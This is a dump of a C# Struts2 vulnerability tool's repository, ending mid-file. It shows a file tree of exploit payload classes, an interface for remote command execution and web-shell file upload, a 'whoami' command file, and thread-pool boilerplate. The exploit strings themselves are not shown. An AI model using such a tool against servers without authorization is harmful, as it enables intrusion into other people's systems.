├── Test ├── bin │ ├── Debug │ │ ├── cmd.txt │ │ ├── Test.exe │ │ ├── Test.pdb │ │ ├── Test.vshost.exe │ │ └── Test.vshost.exe.manifest │ └── Release │ │ ├── Test.exe │ │ ├── Test.pdb │ │ ├── Test.vshost.exe │ │ ├── Test.exe.config │ │ └── Test.vshost.exe.config ├── obj │ ├── Debug │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── Test.csproj.CoreCompileInputs.cache │ │ ├── Test.exe │ │ ├── Test.pdb │ │ ├── Test.Main.resources │ │ ├── Test.csproj.GenerateResource.cache │ │ ├── Test.csprojAssemblyReference.cache │ │ ├── Test.Properties.Resources.resources │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── Test.csprojResolveAssemblyReference.cache │ │ ├── TempPE │ │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── c3dc0619-2c42-4418-8094-679831017d2b_Test.exe │ │ └── Test.csproj.FileListAbsolute.txt │ ├── Release │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── Test.csproj.CoreCompileInputs.cache │ │ ├── Test.exe │ │ ├── Test.pdb │ │ ├── Test.Main.resources │ │ ├── Test.Properties.Resources.resources │ │ ├── Test.csproj.GenerateResource.Cache │ │ ├── Test.csprojAssemblyReference.cache │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── TempPE │ │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── Test.csproj.FileListAbsolute.txt │ └── x86 │ │ └── Debug │ │ ├── Test.exe │ │ ├── Test.pdb │ │ ├── Test1.exe │ │ ├── Test.Form1.resources │ │ ├── Test.Properties.Resources.resources │ │ ├── Test.csproj.GenerateResource.Cache │ │ ├── TempPE │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── Test.csproj.FileListAbsolute.txt ├── http │ ├── model │ │ ├── RunData.cs │ │ ├── Config.cs │ │ ├── ServerInfo.cs │ │ └── HttpRequest.cs │ ├── HttpTools.cs │ ├── TimeOutSocket.cs │ └── Tools.cs ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── smartthread │ ├── SLExt.cs │ ├── CanceledWorkItemsGroup.cs │ ├── InternalInterfaces.cs │ ├── SmartThreadPool.ThreadEntry.cs │ ├── STPEventWaitHandle.cs │ ├── SynchronizedDictionary.cs │ ├── WorkItemInfo.cs │ ├── Stopwatch.cs │ ├── EventWaitHandleFactory.cs │ ├── EventWaitHandle.cs │ ├── Exceptions.cs │ ├── WorkItemResultTWrapper.cs │ ├── CallerThreadContext.cs │ ├── WIGStartInfo.cs │ ├── PriorityQueue.cs │ ├── WorkItem.WorkItemResult.cs │ ├── STPStartInfo.cs │ ├── WorkItemsGroup.cs │ └── WorkItemFactory.cs ├── payload │ ├── BasePayload.cs │ ├── S2057.cs │ ├── S2037.cs │ ├── S2032.cs │ ├── S2019.cs │ ├── S2046.cs │ ├── S2016.cs │ ├── S2045.cs │ └── S2048.cs ├── Program.cs ├── Test.csproj.user ├── URLEncode.cs ├── FileTool.cs └── Test.csproj ├── .vs └── Test │ ├── v15 │ ├── Server │ │ └── sqlite3 │ │ │ ├── db.lock │ │ │ ├── storage.ide │ │ │ ├── storage.ide-shm │ │ │ └── storage.ide-wal │ └── .suo │ └── v14 │ └── .suo ├── README.md ├── Test.suo ├── TESTV1~1.SUO ├── Test.v12.suo └── Test.sln /Test/bin/Debug/cmd.txt: -------------------------------------------------------------------------------- 1 | whoami -------------------------------------------------------------------------------- /.vs/Test/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Struts2VulsTools 2 | Struts2系列漏洞检查工具 3 | -------------------------------------------------------------------------------- /Test.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test.suo -------------------------------------------------------------------------------- /Test/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Test/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Test/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /TESTV1~1.SUO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/TESTV1~1.SUO -------------------------------------------------------------------------------- /Test.v12.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test.v12.suo -------------------------------------------------------------------------------- /Test/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Test/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Test/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.vs/Test/v14/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/.vs/Test/v14/.suo -------------------------------------------------------------------------------- /.vs/Test/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/.vs/Test/v15/.suo -------------------------------------------------------------------------------- /Test/obj/Debug/Test.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | f77e91520dcb262a2b0d25ae4f8ed7ad9eeafb4f 2 | -------------------------------------------------------------------------------- /Test/obj/Release/Test.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | f77e91520dcb262a2b0d25ae4f8ed7ad9eeafb4f 2 | -------------------------------------------------------------------------------- /Test/bin/Debug/Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Debug/Test.exe -------------------------------------------------------------------------------- /Test/bin/Debug/Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Debug/Test.pdb -------------------------------------------------------------------------------- /Test/obj/Debug/Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.exe -------------------------------------------------------------------------------- /Test/obj/Debug/Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.pdb -------------------------------------------------------------------------------- /Test/bin/Release/Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Release/Test.exe -------------------------------------------------------------------------------- /Test/bin/Release/Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Release/Test.pdb -------------------------------------------------------------------------------- /Test/obj/Release/Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.exe -------------------------------------------------------------------------------- /Test/obj/Release/Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.pdb -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test.exe -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test.pdb -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test1.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test1.exe -------------------------------------------------------------------------------- /Test/bin/Debug/Test.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Debug/Test.vshost.exe -------------------------------------------------------------------------------- /Test/bin/Release/Test.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/bin/Release/Test.vshost.exe -------------------------------------------------------------------------------- /Test/obj/Debug/Test.Main.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.Main.resources -------------------------------------------------------------------------------- /Test/obj/Release/Test.Main.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.Main.resources -------------------------------------------------------------------------------- /.vs/Test/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/.vs/Test/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test.Form1.resources -------------------------------------------------------------------------------- /.vs/Test/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/.vs/Test/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /.vs/Test/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/.vs/Test/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /Test/obj/Debug/Test.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /Test/obj/Debug/Test.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Test/obj/Debug/Test.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.Properties.Resources.resources -------------------------------------------------------------------------------- /Test/obj/Release/Test.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.Properties.Resources.resources -------------------------------------------------------------------------------- /Test/obj/Release/Test.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /Test/obj/Release/Test.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/Test.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test.Properties.Resources.resources -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/Test.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Test/obj/Debug/Test.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/Test.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /Test/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /Test/obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Test/obj/Debug/c3dc0619-2c42-4418-8094-679831017d2b_Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Debug/c3dc0619-2c42-4418-8094-679831017d2b_Test.exe -------------------------------------------------------------------------------- /Test/obj/Release/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /Test/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /Test/bin/Release/Test.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Test/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Test/bin/Release/Test.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Test/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shack2/Struts2VulsTools/HEAD/Test/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Test/http/model/RunData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace http 6 | { 7 | public class RunData 8 | { 9 | public Config CFG = new Config(); 10 | public String URL = ""; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /Test/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Test/smartthread/SLExt.cs: -------------------------------------------------------------------------------- 1 | #if _SILVERLIGHT 2 | 3 | using System.Threading; 4 | 5 | namespace Amib.Threading 6 | { 7 | public enum ThreadPriority 8 | { 9 | Lowest, 10 | BelowNormal, 11 | Normal, 12 | AboveNormal, 13 | Highest, 14 | } 15 | } 16 | #endif 17 | -------------------------------------------------------------------------------- /Test/smartthread/CanceledWorkItemsGroup.cs: -------------------------------------------------------------------------------- 1 | namespace Amib.Threading.Internal 2 | { 3 | internal class CanceledWorkItemsGroup 4 | { 5 | public readonly static CanceledWorkItemsGroup NotCanceledWorkItemsGroup = new CanceledWorkItemsGroup(); 6 | 7 | public CanceledWorkItemsGroup() 8 | { 9 | IsCanceled = false; 10 | } 11 | 12 | public bool IsCanceled { get; set; } 13 | } 14 | } -------------------------------------------------------------------------------- /Test/payload/BasePayload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public interface BasePayload 8 | { 9 | String Get_Exp_VerInfo(String vername); 10 | String Get_Exp_Check(); 11 | String Get_Exp_Path(); 12 | String Get_Exp_Exec(String cmd); 13 | 14 | String Get_Exp_Upload(String path, String fileName, String fileContent); 15 | 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Test/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace Test 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// 应用程序的主入口点。 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new Main()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Test/bin/Debug/Test.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Test/obj/x86/Debug/Test.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | E:\c#\projects\struts2013\Test\bin\x86\Debug\Test.exe.config 2 | E:\c#\projects\struts2013\Test\bin\x86\Debug\Test.exe 3 | E:\c#\projects\struts2013\Test\bin\x86\Debug\Test.pdb 4 | E:\c#\projects\struts2013\Test\obj\x86\Debug\Test.Form1.resources 5 | E:\c#\projects\struts2013\Test\obj\x86\Debug\Test.Properties.Resources.resources 6 | E:\c#\projects\struts2013\Test\obj\x86\Debug\Test.csproj.GenerateResource.Cache 7 | E:\c#\projects\struts2013\Test\obj\x86\Debug\Test.exe 8 | E:\c#\projects\struts2013\Test\obj\x86\Debug\Test.pdb 9 | -------------------------------------------------------------------------------- /Test/Test.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | zh-CN 11 | false 12 | ProjectFiles 13 | 14 | -------------------------------------------------------------------------------- /Test/http/model/Config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace http 6 | { 7 | public class Config 8 | { 9 | public List VulNameS=new List(); 10 | public String FileName = ""; 11 | public String FilePath = ""; 12 | public String Method = ""; 13 | public String Data = ""; 14 | public String Cookie = ""; 15 | public String FileContent = ""; 16 | public Boolean isExeCMD = false; 17 | public Boolean isUpFile = false; 18 | public Boolean isSetUploadPath = false; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Test/smartthread/InternalInterfaces.cs: -------------------------------------------------------------------------------- 1 | 2 | namespace Amib.Threading.Internal 3 | { 4 | /// 5 | /// An internal delegate to call when the WorkItem starts or completes 6 | /// 7 | internal delegate void WorkItemStateCallback(WorkItem workItem); 8 | 9 | internal interface IInternalWorkItemResult 10 | { 11 | event WorkItemStateCallback OnWorkItemStarted; 12 | event WorkItemStateCallback OnWorkItemCompleted; 13 | } 14 | 15 | internal interface IInternalWaitableResult 16 | { 17 | /// 18 | /// This method is intent for internal use. 19 | /// 20 | IWorkItemResult GetWorkItemResult(); 21 | } 22 | 23 | public interface IHasWorkItemPriority 24 | { 25 | WorkItemPriority WorkItemPriority { get; } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Test/http/model/ServerInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace http.model 5 | { 6 | public class ServerInfo 7 | { 8 | public String host = "";//host主机头 9 | public String url = "";//pathAndQuery 10 | public int port = 80; 11 | public String request = ""; 12 | public String encoding = ""; 13 | public String header = ""; 14 | public String body = ""; 15 | public String reuqestBody = ""; 16 | public String reuqestHeader = ""; 17 | public Dictionary headers = new Dictionary(); 18 | public String response = ""; 19 | public String gzip = ""; 20 | public int length = 0; 21 | public int code = 0; 22 | public int location = 0; 23 | public int runTime = 0;//获取网页消耗时间,毫秒 24 | public int sleepTime = 0;//休息时间 25 | public String cookies = ""; 26 | public Boolean timeout = false; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Test/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Test.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Test/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过下列属性集 6 | // 控制。更改这些属性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("Test")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("Test")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 属性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("8863d673-b4ea-45b3-b883-1436ffefb94a")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("2.2.0.0")] 36 | [assembly: AssemblyFileVersion("2.2.0.0")] 37 | -------------------------------------------------------------------------------- /Test.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Test", "Test\Test.csproj", "{068A5E7C-AA36-4602-8802-A234A9690755}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|Mixed Platforms = Debug|Mixed Platforms 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|Mixed Platforms = Release|Mixed Platforms 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU 21 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU 22 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|x86.ActiveCfg = Debug|x86 23 | {068A5E7C-AA36-4602-8802-A234A9690755}.Debug|x86.Build.0 = Debug|x86 24 | {068A5E7C-AA36-4602-8802-A234A9690755}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {068A5E7C-AA36-4602-8802-A234A9690755}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {068A5E7C-AA36-4602-8802-A234A9690755}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU 27 | {068A5E7C-AA36-4602-8802-A234A9690755}.Release|Mixed Platforms.Build.0 = Release|Any CPU 28 | {068A5E7C-AA36-4602-8802-A234A9690755}.Release|x86.ActiveCfg = Release|Any CPU 29 | EndGlobalSection 30 | GlobalSection(SolutionProperties) = preSolution 31 | HideSolutionNode = FALSE 32 | EndGlobalSection 33 | EndGlobal 34 | -------------------------------------------------------------------------------- /Test/smartthread/SmartThreadPool.ThreadEntry.cs: -------------------------------------------------------------------------------- 1 | 2 | using System; 3 | using Amib.Threading.Internal; 4 | 5 | namespace Amib.Threading 6 | { 7 | public partial class SmartThreadPool 8 | { 9 | #region ThreadEntry class 10 | 11 | internal class ThreadEntry 12 | { 13 | /// 14 | /// The thread creation time 15 | /// The value is stored as UTC value. 16 | /// 17 | private readonly DateTime _creationTime; 18 | 19 | /// 20 | /// The last time this thread has been running 21 | /// It is updated by IAmAlive() method 22 | /// The value is stored as UTC value. 23 | /// 24 | private DateTime _lastAliveTime; 25 | 26 | /// 27 | /// A reference from each thread in the thread pool to its SmartThreadPool 28 | /// object container. 29 | /// With this variable a thread can know whatever it belongs to a 30 | /// SmartThreadPool. 31 | /// 32 | private readonly SmartThreadPool _associatedSmartThreadPool; 33 | 34 | /// 35 | /// A reference to the current work item a thread from the thread pool 36 | /// is executing. 37 | /// 38 | public WorkItem CurrentWorkItem { get; set; } 39 | 40 | public ThreadEntry(SmartThreadPool stp) 41 | { 42 | _associatedSmartThreadPool = stp; 43 | _creationTime = DateTime.UtcNow; 44 | _lastAliveTime = DateTime.MinValue; 45 | } 46 | 47 | public SmartThreadPool AssociatedSmartThreadPool 48 | { 49 | get { return _associatedSmartThreadPool; } 50 | } 51 | 52 | public void IAmAlive() 53 | { 54 | _lastAliveTime = DateTime.UtcNow; 55 | } 56 | } 57 | 58 | #endregion 59 | } 60 | } -------------------------------------------------------------------------------- /Test/obj/Release/Test.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | E:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.exe.config 2 | E:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.exe 3 | E:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.pdb 4 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.Main.resources 5 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.Properties.Resources.resources 6 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.csproj.GenerateResource.Cache 7 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.exe 8 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.pdb 9 | E:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.csprojResolveAssemblyReference.cache 10 | F:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.exe.config 11 | F:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.exe 12 | F:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.pdb 13 | F:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.exe 14 | F:\MyCoding\c#\projects\struts2017\Test\bin\Release\Test.pdb 15 | F:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.Main.resources 16 | F:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.Properties.Resources.resources 17 | F:\MyCoding\c#\projects\struts2017\Test\obj\Release\Test.csproj.GenerateResource.Cache 18 | F:\MyCoding\c#\projects\struts2017\Test\bin\Release\SmartThreadPool.dll 19 | F:\MyCoding\c#\projects\struts2018\Test\bin\Release\Test.exe 20 | F:\MyCoding\c#\projects\struts2018\Test\bin\Release\Test.pdb 21 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.Main.resources 22 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.Properties.Resources.resources 23 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.csproj.GenerateResource.cache 24 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.csproj.CoreCompileInputs.cache 25 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.exe 26 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.pdb 27 | F:\MyCoding\c#\projects\struts2018\Test\obj\Release\Test.csprojAssemblyReference.cache 28 | -------------------------------------------------------------------------------- /Test/smartthread/STPEventWaitHandle.cs: -------------------------------------------------------------------------------- 1 | #if !(_WINDOWS_CE) 2 | 3 | using System; 4 | using System.Threading; 5 | 6 | namespace Amib.Threading.Internal 7 | { 8 | #if _SILVERLIGHT || WINDOWS_PHONE 9 | internal static class STPEventWaitHandle 10 | { 11 | public const int WaitTimeout = 